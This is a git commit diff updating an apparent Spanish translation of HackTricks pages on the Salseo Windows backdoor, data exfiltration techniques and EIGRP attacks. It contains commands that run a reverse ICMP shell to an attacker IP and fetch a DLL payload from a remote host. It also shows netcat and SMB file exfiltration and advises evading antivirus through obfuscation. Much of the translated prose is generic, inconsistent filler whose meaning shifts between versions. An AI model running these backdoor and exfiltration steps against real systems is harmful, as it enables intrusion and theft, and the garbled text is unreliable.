Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/

This commit is contained in:
Translator 2023-06-14 01:25:18 +00:00
parent 32a1c194ae
commit 248aa0f1f0
57 changed files with 602 additions and 305 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 447 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 447 KiB

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 MiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 147 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 147 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 350 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 350 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 344 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 344 KiB

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.4 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 535 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 535 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 148 KiB

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 102 KiB

After

Width:  |  Height:  |  Size: 244 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 244 KiB

After

Width:  |  Height:  |  Size: 358 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 106 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 106 KiB

After

Width:  |  Height:  |  Size: 114 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 KiB

After

Width:  |  Height:  |  Size: 61 KiB

View File

@ -144,6 +144,7 @@
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
* [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
* [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)

View File

@ -16,7 +16,7 @@
Descarga el código fuente de Github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener instalado **Visual Studio** para compilar el código.
Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a utilizar (si Windows admite x64, compílalos para esa arquitectura).
Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a usar (si Windows admite x64, compílalos para esa arquitectura).
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build"** en **"Platform Target".**
@ -41,25 +41,29 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
### Introducción
En este capítulo, discutiremos algunas técnicas para crear backdoors en sistemas Windows. Los backdoors son una forma de acceso no autorizado a un sistema, lo que permite a un atacante mantener el acceso a un sistema comprometido incluso después de que se hayan tomado medidas para eliminar el acceso no autorizado.
En este capítulo, discutiremos algunas técnicas para crear backdoors en sistemas Windows. Los backdoors son una forma de acceso no autorizado a un sistema, lo que permite a un atacante mantener el acceso a un sistema comprometido incluso después de que se hayan tomado medidas para eliminar el acceso inicial.
### Creando un backdoor con Metasploit
Metasploit es una herramienta de código abierto que se utiliza para desarrollar y ejecutar exploits contra sistemas informáticos. También se puede utilizar para crear backdoors en sistemas Windows.
Para crear un backdoor con Metasploit, primero debemos seleccionar un exploit que nos permita obtener acceso a un sistema Windows. Una vez que hayamos seleccionado el exploit, podemos utilizar Metasploit para crear un payload que se ejecutará en el sistema comprometido y nos dará acceso al sistema.
Para crear un backdoor con Metasploit, primero debemos seleccionar un exploit que nos permita obtener acceso al sistema. Una vez que hemos seleccionado un exploit, podemos utilizar Metasploit para generar un payload que se ejecutará en el sistema comprometido y nos dará acceso al sistema.
### Creando un backdoor con PowerShell
PowerShell es un lenguaje de scripting de Microsoft que se utiliza para administrar sistemas Windows. También se puede utilizar para crear backdoors en sistemas Windows.
Para crear un backdoor con PowerShell, podemos utilizar una técnica conocida como "reflective DLL injection". Esta técnica nos permite cargar una DLL maliciosa en un proceso legítimo en el sistema comprometido, lo que nos da acceso al sistema.
Para crear un backdoor con PowerShell, podemos utilizar una técnica conocida como "reflective DLL injection". Esta técnica nos permite cargar una DLL maliciosa en la memoria de un proceso legítimo, lo que nos permite ejecutar código malicioso en el contexto del proceso legítimo.
### Creando un backdoor con Empire
### Creando un backdoor con una puerta trasera personalizada
Empire es una herramienta de post-explotación de código abierto que se utiliza para crear backdoors en sistemas Windows. Empire utiliza PowerShell para crear backdoors en sistemas Windows.
También podemos crear una puerta trasera personalizada para obtener acceso no autorizado a un sistema Windows. Para hacer esto, podemos utilizar un lenguaje de programación como C++ o C# para crear un programa que se ejecute en el sistema comprometido y nos dé acceso al sistema.
Para crear un backdoor con Empire, primero debemos seleccionar un módulo que nos permita obtener acceso a un sistema Windows. Una vez que hayamos seleccionado el módulo, podemos utilizar Empire para crear un payload que se ejecutará en el sistema comprometido y nos dará acceso al sistema.
Una vez que hemos creado nuestro programa, podemos utilizar técnicas de ofuscación para ocultar el programa de los programas antivirus y de seguridad del sistema. También podemos utilizar técnicas de empaquetado para comprimir el programa y hacer que sea más difícil de detectar.
### Conclusión
En este capítulo, hemos discutido algunas técnicas para crear backdoors en sistemas Windows. Es importante recordar que el uso de estas técnicas para obtener acceso no autorizado a un sistema es ilegal y puede resultar en consecuencias graves. Siempre debemos utilizar estas técnicas con fines educativos y éticos.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@ -97,7 +101,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Dentro de la víctima, ejecutemos la cosa salseo:
#### Dentro de la víctima, ejecutemos la técnica salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
@ -107,13 +111,13 @@ Abre el proyecto SalseoLoader usando Visual Studio.
### Agrega antes de la función principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
### Instala DllExport para este proyecto
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)**
@ -127,9 +131,9 @@ Presiona **Desinstalar** (sí, es extraño, pero confía en mí, es necesario)
![](<../.gitbook/assets/image (5) (1) (1) (2).png>)
### **Sal de Visual Studio y ejecuta DllExport\_configure**
### **Cierra Visual Studio y ejecuta DllExport\_configure**
Simplemente **sal** de Visual Studio
Simplemente **cierra** Visual Studio
Luego, ve a tu carpeta de **SalseoLoader** y **ejecuta DllExport\_Configure.bat**
@ -180,7 +184,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes, la ejecución de programas y la solución de problemas de sistema. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas comprometidos.
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes y la ejecución de programas. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas Windows comprometidos.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View File

@ -1,4 +1,4 @@
## Exfiltración
# Exfiltración
<details>
@ -6,17 +6,21 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Dominios comúnmente permitidos para exfiltrar información
Consulte [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente permitidos que pueden ser abusados.
## Copiar y pegar Base64
**Linux**
@ -76,7 +80,7 @@ El protocolo HTTPS es una versión segura del protocolo HTTP que utiliza cifrado
Para exfiltrar datos a través de un servidor HTTPS, se puede utilizar una variedad de técnicas, como la creación de un canal encubierto en el tráfico HTTPS normal o la creación de un servidor HTTPS malicioso que recopila los datos exfiltrados.
Es importante tener en cuenta que la creación de un servidor HTTPS malicioso puede ser ilegal y puede tener graves consecuencias legales. Por lo tanto, se debe tener cuidado al utilizar esta técnica y asegurarse de que se cumplan todas las leyes y regulaciones aplicables.
Es importante tener en cuenta que la exfiltración de datos a través de un servidor HTTPS puede ser detectada por soluciones de seguridad que monitorean el tráfico de red en busca de patrones sospechosos. Por lo tanto, es importante utilizar técnicas de evasión para evitar la detección.
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -128,24 +132,20 @@ python3 -m pyftpdlib -p 21
El servidor FTP es una herramienta comúnmente utilizada para transferir archivos entre sistemas. En este caso, se utiliza NodeJS para crear un servidor FTP que permita la transferencia de archivos desde y hacia el servidor.
Para crear un servidor FTP en NodeJS, se puede utilizar el módulo `ftp-srv`. Este módulo proporciona una API fácil de usar para crear un servidor FTP personalizado.
Para crear un servidor FTP en NodeJS, se puede utilizar el módulo `ftp-srv`. Este módulo proporciona una API fácil de usar para crear un servidor FTP y manejar las conexiones de los clientes.
Para instalar el módulo `ftp-srv`, se puede utilizar el siguiente comando:
Para instalar `ftp-srv`, se puede utilizar el siguiente comando:
```
npm install ftp-srv
```
Una vez instalado el módulo, se puede crear un servidor FTP básico utilizando el siguiente código:
Una vez instalado, se puede crear un servidor FTP básico con el siguiente código:
```javascript
const FtpSrv = require('ftp-srv');
const ftpServer = new FtpSrv({
url: 'ftp://127.0.0.1:21',
pasv_url: 'ftp://127.0.0.1:3000',
greeting: 'Welcome to my FTP server'
});
const ftpServer = new FtpSrv('ftp://127.0.0.1:3333');
ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
if (username === 'user' && password === 'pass') {
@ -161,24 +161,24 @@ ftpServer.listen()
});
```
Este código crea un servidor FTP que escucha en el puerto 21 y utiliza el puerto 3000 para las conexiones pasivas. También se proporciona un mensaje de bienvenida personalizado.
Este código crea un servidor FTP en `ftp://127.0.0.1:3333` y maneja las conexiones de los clientes. Cuando un cliente se conecta, se verifica el nombre de usuario y la contraseña. Si son correctos, se le permite acceder al directorio raíz del servidor FTP. Si no son correctos, se le niega el acceso.
El servidor FTP requiere autenticación para acceder a los archivos. En este ejemplo, se utiliza el nombre de usuario "user" y la contraseña "pass". Si se proporcionan credenciales incorrectas, se devuelve un error.
Una vez que se ha iniciado el servidor FTP, se pueden utilizar clientes FTP para conectarse y transferir archivos.
Una vez que se ha creado el servidor FTP, se puede utilizar un cliente FTP para conectarse a él y transferir archivos.
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Servidor FTP (pure-ftp)
El protocolo FTP (File Transfer Protocol) es uno de los protocolos más antiguos y ampliamente utilizados para transferir archivos entre sistemas. El servidor FTP es un servidor que se ejecuta en un sistema y permite a los usuarios cargar y descargar archivos desde el servidor utilizando el protocolo FTP.
El protocolo FTP es uno de los protocolos de transferencia de archivos más antiguos y ampliamente utilizados. El servidor FTP puro es un servidor FTP de código abierto que se utiliza comúnmente en sistemas operativos basados en Unix.
Pure-FTP es un servidor FTP de código abierto que es fácil de configurar y usar. Es compatible con una amplia variedad de sistemas operativos y es muy popular entre los administradores de sistemas y los usuarios finales.
Para exfiltrar datos a través de un servidor FTP puro, primero debe configurar el servidor FTP en su máquina de ataque. Luego, debe crear una cuenta de usuario en el servidor FTP y configurar los permisos adecuados para la cuenta de usuario.
La exfiltración de datos a través de un servidor FTP es una técnica común utilizada por los atacantes para robar datos de una organización. Los atacantes pueden utilizar una variedad de técnicas para comprometer un servidor FTP, incluyendo la explotación de vulnerabilidades conocidas, la ingeniería social y el uso de contraseñas débiles.
Una vez que se haya configurado el servidor FTP, puede utilizar una variedad de herramientas de línea de comandos para transferir archivos desde la máquina de destino al servidor FTP. Algunas de las herramientas comunes que se utilizan para transferir archivos a través de FTP incluyen `ftp`, `lftp` y `ncftp`.
Para evitar la exfiltración de datos a través de un servidor FTP, es importante asegurarse de que el servidor esté configurado de manera segura y de que se utilicen contraseñas fuertes y políticas de seguridad adecuadas. Además, es importante monitorear regularmente el servidor para detectar cualquier actividad sospechosa y tomar medidas inmediatas para remediar cualquier problema.
También puede utilizar herramientas de terceros como `curl` y `wget` para transferir archivos a través de FTP. Estas herramientas son especialmente útiles si desea automatizar el proceso de transferencia de archivos.
Es importante tener en cuenta que el protocolo FTP no es seguro y que los datos transferidos a través de FTP no están cifrados. Por lo tanto, se recomienda utilizar FTP solo en redes seguras y no para transferir datos confidenciales.
```bash
apt-get update && apt-get install pure-ftp
```
@ -251,13 +251,13 @@ DNS es un protocolo utilizado para resolver nombres de dominio en direcciones IP
Los atacantes pueden utilizar el correo electrónico para exfiltrar datos de una red comprometida. Para hacer esto, el atacante puede configurar una cuenta de correo electrónico en un servidor controlado por el atacante y luego enviar los datos a través de correos electrónicos.
## USB
## Dispositivos USB
Los atacantes pueden utilizar dispositivos USB para exfiltrar datos de una red comprometida. Para hacer esto, el atacante puede copiar los datos en un dispositivo USB y luego sacar el dispositivo de la red comprometida.
## Conclusiones
La exfiltración de datos es una parte importante del proceso de ataque. Los atacantes utilizan una variedad de técnicas para exfiltrar datos de una red comprometida. Es importante que los administradores de sistemas estén al tanto de estas técnicas y tomen medidas para prevenirlas.
La exfiltración de datos es una parte importante del proceso de ataque. Los atacantes utilizan una variedad de técnicas para exfiltrar datos de una red comprometida. Es importante que los profesionales de la seguridad comprendan estas técnicas para poder proteger mejor sus redes.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -285,9 +285,9 @@ NC (Netcat) es una herramienta de red que se utiliza para leer y escribir datos
Para utilizar NC para la exfiltración de datos, primero debe establecer una conexión entre la máquina de origen y la máquina de destino. Una vez que se ha establecido la conexión, puede utilizar NC para enviar los datos desde la máquina de origen a la máquina de destino.
NC también se puede utilizar para crear túneles de red, lo que permite a los atacantes acceder a sistemas remotos a través de conexiones de red seguras. Esto se puede hacer utilizando la opción -L de NC para escuchar en un puerto específico y la opción -p para especificar el puerto de destino.
NC también se puede utilizar para crear túneles de red, lo que permite a los atacantes acceder a sistemas remotos a través de conexiones de red seguras. Esto se puede hacer utilizando la opción "-L" de NC para crear un túnel de escucha en la máquina de destino y la opción "-p" para especificar el puerto en el que se escuchará.
NC es una herramienta muy poderosa que se utiliza comúnmente en pruebas de penetración y en ataques de hacking. Es importante tener en cuenta que el uso de NC para fines malintencionados puede ser ilegal y puede resultar en consecuencias graves.
NC es una herramienta muy poderosa que se utiliza comúnmente en pruebas de penetración y en ataques de hacking. Es importante tener en cuenta que el uso de NC para la exfiltración de datos puede ser detectado por los sistemas de seguridad, por lo que se deben tomar medidas para ocultar la actividad de NC.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
@ -520,14 +520,14 @@ Ahora solo pesa 29 kb. Perfecto. Ahora vamos a desensamblarlo:
```
wine exe2bat.exe nc.exe nc.txt
```
Ahora simplemente copiamos y pegamos el texto en nuestra ventana de shell de Windows. Y automáticamente creará un archivo llamado nc.exe
Ahora simplemente copiamos y pegamos el texto en nuestra shell de Windows. Y automáticamente creará un archivo llamado nc.exe
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**Consejo de recompensa por errores**: ¡**Regístrese** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensa por errores creada por hackers, para hackers**! Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -537,8 +537,8 @@ Ahora simplemente copiamos y pegamos el texto en nuestra ventana de shell de Win
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -6,8 +6,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -35,12 +35,12 @@ eigrpd=yes
```
<figure><img src="../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
Después de eso, es necesario corregir el archivo **vtysh.conf** agregando una línea responsable de guardar la configuración en un solo archivo, para que las configuraciones de diferentes protocolos no se dispersen en diferentes archivos **(por ejemplo, eigrpd.conf, staticd.conf).** Esto es configurable opcionalmente.
Después de eso, es necesario corregir el archivo **vtysh.conf** agregando una línea responsable de guardar la configuración en un solo archivo, para que las configuraciones de diferentes protocolos no se dispersen en diferentes archivos **(por ejemplo, eigrpd.conf, staticd.conf).** Es configurable opcionalmente.
```
~# nano /etc/frr/vtysh.conf
service integrated-vtysh-config
```
La configuración de FRRouting está hecha. Ahora es el momento de ejecutar el demonio de FRR. Y sí, necesitamos habilitar el enrutamiento de tráfico. Por defecto, está deshabilitado en las distribuciones de Linux.
La configuración de FRRouting está lista. Ahora es el momento de ejecutar el demonio de FRR. Y sí, necesitamos habilitar el enrutamiento de tráfico. Por defecto, está deshabilitado en las distribuciones de Linux.
```
~$ sudo systemctl start frr
~$ sudo sysctl -w net.ipv4.ip_forward=1
@ -53,25 +53,93 @@ El comando **vtysh** nos llevará al panel de control del router FRR.
```
### EIGRP Attacks
#### EIGRP Protocol
#### Introduction
El Protocolo de Enrutamiento de Gateway Interior Mejorado (EIGRP) es un protocolo de enrutamiento de red propietario de Cisco que se utiliza para enrutar paquetes de datos en una red de área local (LAN) o de área amplia (WAN). EIGRP es un protocolo de enrutamiento avanzado que utiliza una variedad de métricas para determinar la mejor ruta para enviar paquetes de datos a través de una red.
EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is widely used in enterprise networks. It is an advanced distance-vector routing protocol that uses Diffusing Update Algorithm (DUAL) to calculate the shortest path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
#### EIGRP Protocol Overview
EIGRP uses a hierarchical network design that consists of the following components:
- Autonomous System (AS): A collection of networks that are under a common administrative domain.
- Router: A device that forwards data packets between networks.
- Neighbor: A router that shares routing information with another router.
- Topology Table: A database that stores information about all known routes in the network.
- Routing Table: A database that stores the best routes to each destination network.
- Metrics: A set of values that are used to calculate the best path to a destination network.
#### EIGRP Attacks
EIGRP es vulnerable a varios tipos de ataques, incluyendo ataques de denegación de servicio (DoS), ataques de inyección de paquetes y ataques de envenenamiento de ruta. Estos ataques pueden ser utilizados por un atacante para interrumpir el tráfico de red, interceptar datos confidenciales o redirigir el tráfico a un destino malicioso.
EIGRP is vulnerable to the following attacks:
##### DoS Attacks
- Eavesdropping: An attacker can intercept EIGRP packets and obtain sensitive information such as network topology, routing tables, and metrics.
- Spoofing: An attacker can send fake EIGRP packets to a router and manipulate its routing table. This can lead to traffic redirection, black-holing, and denial of service (DoS) attacks.
- Injection: An attacker can inject fake EIGRP packets into the network to advertise false routes. This can lead to traffic interception, man-in-the-middle (MitM) attacks, and data leakage.
- DoS: An attacker can flood the network with EIGRP packets to consume network resources and cause network congestion.
Los ataques de denegación de servicio (DoS) contra EIGRP pueden ser utilizados para interrumpir el tráfico de red y hacer que la red sea inaccesible para los usuarios legítimos. Los atacantes pueden enviar una gran cantidad de paquetes de EIGRP a un router de destino, lo que puede hacer que el router se bloquee o se reinicie.
#### EIGRP Countermeasures
##### Packet Injection Attacks
To mitigate EIGRP attacks, the following countermeasures can be implemented:
Los ataques de inyección de paquetes contra EIGRP pueden ser utilizados para interceptar datos confidenciales que se transmiten a través de la red. Los atacantes pueden enviar paquetes de EIGRP falsificados a un router de destino, lo que puede permitirles interceptar y leer los datos que se transmiten a través de la red.
- Authentication: EIGRP supports MD5 authentication to secure the exchange of routing information between routers.
- Encryption: EIGRP supports IPsec encryption to protect the confidentiality and integrity of routing information.
- Access Control: EIGRP packets should be filtered at network boundaries to prevent unauthorized access and spoofing.
- Monitoring: EIGRP traffic should be monitored for anomalies and suspicious activity.
- Hardening: EIGRP routers should be hardened by disabling unnecessary services and features, and applying security patches and updates.
##### Route Poisoning Attacks
#### Conclusion
Los ataques de envenenamiento de ruta contra EIGRP pueden ser utilizados para redirigir el tráfico de red a un destino malicioso. Los atacantes pueden enviar información de enrutamiento falsa a un router de destino, lo que puede hacer que el router redirija el tráfico a un destino malicioso en lugar del destino legítimo.
EIGRP is a powerful routing protocol that provides many benefits to enterprise networks. However, it is important to be aware of its vulnerabilities and implement appropriate countermeasures to protect against attacks. By following the best practices of network security, organizations can ensure the integrity, availability, and confidentiality of their network infrastructure.
#### References
- [Cisco EIGRP Overview](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/16406-eigrp-toc.html)
